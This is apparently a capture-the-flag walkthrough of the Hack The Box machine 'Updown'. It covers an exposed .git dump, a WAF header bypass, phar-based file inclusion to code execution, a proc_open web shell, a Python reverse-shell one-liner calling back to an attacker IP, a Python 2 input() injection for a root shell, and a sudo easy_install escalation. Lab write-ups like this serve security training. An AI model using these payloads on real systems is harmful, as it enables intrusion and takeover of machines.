Updown HTB
Last updated
Last updated
There is a website hosted on apache and its dns is siteup.htb Using nc to listen on port 80 and accessing our ip we get: Nothing much was discovered Now trying http://127.0.0.1 with debug mode we get Trying to access files with file:///etc/passwd
It says hacker detected. Trying to ping our machine with ftp://10.10.14.37
Trying gophergopher://10.10.14.37:70
Now running gobuster we found the dev directory. Now trying to run one more gobuster on dev directory Since it is .git using git-dumper to get source code Index.php Trying to access index.php with burpsuite: Checking out git commits using git log
So checking this commit with git checkout 8812785e31c879261050e72e20f298ae8c43b565
So trying the header We just get a 200 OK We notice that there is a vhost so trying dev.siteisup.htb We get an access forbidden. But adding the header we get the response. Now we can add a match and replace rule to bypass the WAF. Now we notice there is a file upload q The file gets deleted after checking sooooo we gotta hang. Can do this by adding our ip to the test.txt and using nc -nlvpk 80
to keep the connection. Now we can access it yaaaaaaayyyy: But we still need to get around the fact that .php files are blocked.
Here comes the Important trick for bypassing this. We can get LFI by using a .phar file (can also use any extension like jpeg). zip test.phar test.php
Then to access it: http://dev.siteisup.htb/?page=phar://uploads/f0217cf843d10cf70a840fb19967a434/test.phar/test or with burp suite: We get a 500 internal error instead of 200 ok Now trying a php with echo in it instead of the webshell.
no need to add .php as it is in the code to add With echo command we get code execution: <?php echo 'YtfNotWorking' ?>
Trying <?php phpinfo(); ?>
We get a list of disabled functions To get a dangerous function we could use this: https://github.com/teambi0s/dfunc-bypasser or we can create our own php code from it.
So now using a web shell with proc_open
Now uploading it and accessing it with: http://dev.siteisup.htb/uploads/2242456f01bba35834701e734af17d63/shell.phar/shell
Then using a python shell: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.37",9003));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
We had to use the ssh key to access user.txt because only setuid was used and not setgid too Now we notice we can run easy_install as sudo so using gtfobins:
Now archiving it into dangerous.phar Using this we get the answer in burp: proc_open is available
Now we find 2 files in dev directory: Of file types: Now checking the python file: It is a python2 file. Since it is taking an input and has a suid or setuid bit. We can privesc with python input as the siteisup application calls for the python file: __import__('os').system('/bin/bash')
It worked!
We got a root shell: